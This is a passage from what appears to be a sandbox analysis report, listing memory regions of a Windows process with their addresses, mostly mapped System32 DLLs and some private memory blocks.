"iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1675 start_va = 0x7fef8ad0000 end_va = 0x7fef8b55fff entry_point = 0x7fef8ad0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1676 start_va = 0x7fef8b60000 end_va = 0x7fef8b9ffff entry_point = 0x7fef8b60000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1677 start_va = 0x7fef9070000 end_va = 0x7fef9086fff entry_point = 0x7fef9070000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1678 start_va = 0x7fef9090000 end_va = 0x7fef923ffff entry_point = 0x7fef9090000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1679 start_va = 0x7fef9eb0000 end_va = 0x7fef9f9dfff entry_point = 0x7fef9eb0000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1680 start_va = 0x7fefa6a0000 end_va = 0x7fefa716fff entry_point = 0x7fefa6a0000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1681 start_va = 0x7fefac50000 end_va = 0x7fefac59fff entry_point = 0x7fefac50000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1682 start_va = 0x7fefac60000 end_va = 0x7fefad71fff entry_point = 0x7fefac60000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1683 start_va = 0x7fefad80000 end_va = 0x7fefad8efff entry_point = 0x7fefad80000 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 1684 start_va = 0x7fefad90000 end_va = 0x7fefad98fff entry_point = 0x7fefad90000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 1685 start_va = 0x7fefada0000 end_va = 0x7fefada8fff entry_point = 0x7fefada0000 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1686 start_va = 0x7fefadb0000 end_va = 0x7fefae05fff entry_point = 0x7fefadb0000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1687 start_va = 0x7fefaeb0000 end_va = 0x7fefaf0dfff entry_point = 0x7fefaeb0000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1688 start_va = 0x7fefaf10000 end_va = 0x7fefaf27fff entry_point = 0x7fefaf11bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1689 start_va = 0x7fefaf30000 end_va = 0x7fefaf40fff entry_point = 0x7fefaf316ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1690 start_va = 0x7fefaf60000 end_va = 0x7fefafb2fff entry_point = 0x7fefaf62b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1691 start_va = 0x7fefb0c0000 end_va = 0x7fefb0cafff entry_point = 0x7fefb0c1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1692 start_va = 0x7fefb0d0000 end_va = 0x7fefb0f6fff entry_point = 0x7fefb0d98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1693 start_va = 0x7fefb110000 end_va = 0x7fefb120fff entry_point = 0x7fefb110000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1694 start_va = 0x7fefb260000 end_va = 0x7fefb273fff entry_point = 0x7fefb260000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1695 start_va = 0x7fefb280000 end_va = 0x7fefb294fff entry_point = 0x7fefb280000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1696 start_va = 0x7fefb2a0000 end_va = 0x7fefb2abfff entry_point = 0x7fefb2a0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1697 start_va = 0x7fefb2c0000 end_va = 0x7fefb2d5fff entry_point = 0x7fefb2c0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1698 start_va = 0x7fefb3a0000 end_va = 0x7fefb3aefff entry_point = 0x7fefb3a0000 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 1699 start_va = 0x7fefb3f0000 end_va = 0x7fefb3f8fff entry_point = 0x7fefb3f0000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1700 start_va = 0x7fefb400000 end_va = 0x7fefb413fff entry_point = 0x7fefb400000 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1701 start_va = 0x7fefb550000 end_va = 0x7fefb584fff entry_point = 0x7fefb550000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1702 start_va = 0x7fefb970000 end_va = 0x7fefb9c5fff entry_point = 0x7fefb970000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1703 start_va = 0x7fefb9d0000 end_va = 0x7fefb9ecfff entry_point = 0x7fefb9d0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1704 start_va = 0x7fefbd10000 end_va = 0x7fefbd76fff entry_point = 0x7fefbd26060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1705 start_va = 0x7fefbd80000 end_va = 0x7fefbd90fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1706 start_va = 0x7fefbda0000 end_va = 0x7fefbdaafff entry_point = 0x7fefbda0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1707 start_va = 0x7fefbdb0000 end_va = 0x7fefbdbbfff entry_point = 0x7fefbdb15d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1708 start_va = 0x7fefbdc0000 end_va = 0x7fefbfb3fff entry_point = 0x7fefbdc0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1709 start_va = 0x7fefc000000 end_va = 0x7fefc00ffff entry_point = 0x7fefc000000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1710 start_va = 0x7fefc140000 end_va = 0x7fefc158fff entry_point = 0x7fefc140000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1711 start_va = 0x7fefc160000 end_va = 0x7fefc196fff entry_point = 0x7fefc160000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1712 start_va = 0x7fefc1d0000 end_va = 0x7fefc1e4fff entry_point = 0x7fefc1d60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1713 start_va = 0x7fefc1f0000 end_va = 0x7fefc2b1fff entry_point = 0x7fefc1f0000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1714 start_va = 0x7fefc370000 end_va = 0x7fefc39cfff entry_point = 0x7fefc370000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1715 start_va = 0x7fefc3a0000 end_va = 0x7fefc3a8fff entry_point = 0x7fefc3a0000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1716 start_va = 0x7fefc3b0000 end_va = 0x7fefc4dbfff entry_point = 0x7fefc3b0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1717 start_va = 0x7fefc4e0000 end_va = 0x7fefc4fcfff entry_point = 0x7fefc4e0000 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 1718 start_va = 0x7fefc7d0000 end_va = 0x7fefc7dbfff entry_point = 0x7fefc7d1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1719 start_va = 0x7fefc7e0000 end_va = 0x7fefc89afff entry_point = 0x7fefc7e0000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1720 start_va = 0x7fefc8a0000 end_va = 0x7fefc8a6fff entry_point = 0x7fefc8a14b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1721 start_va = 0x7fefc990000 end_va = 0x7fefc9aafff entry_point = 0x7fefc992068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1722 start_va = 0x7fefc9b0000 end_va = 0x7fefc9cdfff entry_point = 0x7fefc9b13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1723 start_va = 0x7fefc9d0000 end_va = 0x7fefc9e1fff entry_point = 0x7fefc9d0000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1724 start_va = 0x7fefca60000 end_va = 0x7fefca98fff entry_point = 0x7fefca60000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1725 start_va = 0x7fefcbc0000 end_va = 0x7fefcc06fff entry_point = 0x7fefcbc1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1726 start_va = 0x7fefccb0000 end_va = 0x7fefccdffff entry_point = 0x7fefccb0000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1727 start_va = 0x7fefcce0000 end_va = 0x7fefcd3afff entry_point = 0x7fefcce6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1728 start_va = 0x7fefce50000 end_va = 0x7fefce56fff entry_point = 0x7fefce5142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1729 start_va = 0x7fefce60000 end_va = 0x7fefceb4fff entry_point = 0x7fefce61054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1730 start_va = 0x7fefcec0000 end_va = 0x7fefced6fff entry_point = 0x7fefcec32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1731 start_va = 0x7fefcfd0000 end_va = 0x7fefd001fff entry_point = 0x7fefcfd0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1732 start_va = 0x7fefd020000 end_va = 0x7fefd029fff entry_point = 0x7fefd020000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1733 start_va = 0x7fefd030000 end_va = 0x7fefd03cfff entry_point = 0x7fefd030000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1734 start_va = 0x7fefd040000 end_va = 0x7fefd05efff entry_point = 0x7fefd040000 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 1735 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1736 start_va = 0x7fefd0f0000 end_va = 0x7fefd11efff entry_point = 0x7fefd0f0000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1737 start_va = 0x7fefd130000 end_va = 0x7fefd19cfff entry_point = 0x7fefd130000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1738 start_va = 0x7fefd1a0000 end_va = 0x7fefd1c2fff entry_point = 0x7fefd1a0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1739 start_va = 0x7fefd1d0000 end_va = 0x7fefd1e3fff entry_point = 0x7fefd1d0000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1740 start_va = 0x7fefd490000 end_va = 0x7fefd49afff entry_point = 0x7fefd491030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1741 start_va = 0x7fefd4d0000 end_va = 0x7fefd4f4fff entry_point = 0x7fefd4d9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1742 start_va = 0x7fefd500000 end_va = 0x7fefd590fff entry_point = 0x7fefd501440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1743 start_va = 0x7fefd5a0000 end_va = 0x7fefd5dcfff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1744 start_va = 0x7fefd5e0000 end_va = 0x7fefd5eefff entry_point = 0x7fefd5e1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1745 start_va = 0x7fefd5f0000 end_va = 0x7fefd603fff entry_point = 0x7fefd5f10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1746 start_va = 0x7fefd610000 end_va = 0x7fefd61efff entry_point = 0x7fefd6119b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1747 start_va = 0x7fefd6b0000 end_va = 0x7fefd6befff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1748 start_va = 0x7fefd760000 end_va = 0x7fefd799fff entry_point = 0x7fefd760000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1749 start_va = 0x7fefd7a0000 end_va = 0x7fefd7b9fff entry_point = 0x7fefd7a0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1750 start_va = 0x7fefd7c0000 end_va = 0x7fefd7f5fff entry_point = 0x7fefd7c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1751 start_va = 0x7fefd800000 end_va = 0x7fefd966fff entry_point = 0x7fefd800000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1752 start_va = 0x7fefd970000 end_va = 0x7fefd9dafff entry_point = 0x7fefd9730e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1753 start_va = 0x7fefd9e0000 end_va = 0x7fefdbb6fff entry_point = 0x7fefd9e0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1754 start_va = 0x7fefdbc0000 end_va = 0x7fefdc58fff entry_point = 0x7fefdbc1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1755 start_va = 0x7fefdc60000 end_va = 0x7fefdc8dfff entry_point = 0x7fefdc61010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1756 start_va = 0x7fefdcb0000 end_va = 0x7fefdd01fff entry_point = 0x7fefdcb0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1757 start_va = 0x7fefdd10000 end_va = 0x7fefde3cfff entry_point = 0x7fefdd5ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1758 start_va = 0x7fefdee0000 end_va = 0x7fefdf46fff entry_point = 0x7fefdeeb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1759 start_va = 0x7fefdf50000 end_va = 0x7fefdfeefff entry_point = 0x7fefdf525a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1760 start_va = 0x7fefe070000 end_va = 0x7fefe272fff entry_point = 0x7fefe093330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1761 start_va = 0x7fefe280000 end_va = 0x7fefe287fff entry_point = 0x7fefe281504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1762 start_va = 0x7fefe3c0000 end_va = 0x7feff147fff entry_point = 0x7fefe3c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1763 start_va = 0x7feff150000 end_va = 0x7feff226fff entry_point = 0x7feff153274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1764 start_va = 0x7feff230000 end_va = 0x7feff27cfff entry_point = 0x7feff231070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1765 start_va = 0x7feff280000 end_va = 0x7feff29efff entry_point = 0x7feff2860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1766 start_va = 0x7feff680000 end_va = 0x7feff75afff entry_point = 0x7feff6a0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1767 start_va = 0x7feff760000 end_va = 0x7feff828fff entry_point = 0x7feff7da874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1768 start_va = 0x7feff830000 end_va = 0x7feff83dfff entry_point = 0x7feff831080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1769 start_va = 0x7feff840000 end_va = 0x7feff8b0fff entry_point = 0x7feff851e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1770 start_va = 0x7feff8c0000 end_va = 0x7feff9c8fff entry_point = 0x7feff8c1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1771 start_va = 0x7feff9e0000 end_va = 0x7feff9e0fff entry_point = 0x7feff9e0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1772 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 1773 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 1774 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 1775 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 1776 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 1777 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 1778 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1779 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 1780 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 1781 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 1782 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 1783 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1784 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1785 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 1786 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1787 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1788 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1789 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1790 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1791 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1792 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1793 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1794 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1795 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1796 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1797 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1798 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1799 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1800 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1801 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1802 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1803 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1804 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1805 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1806 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1807 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1808 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = 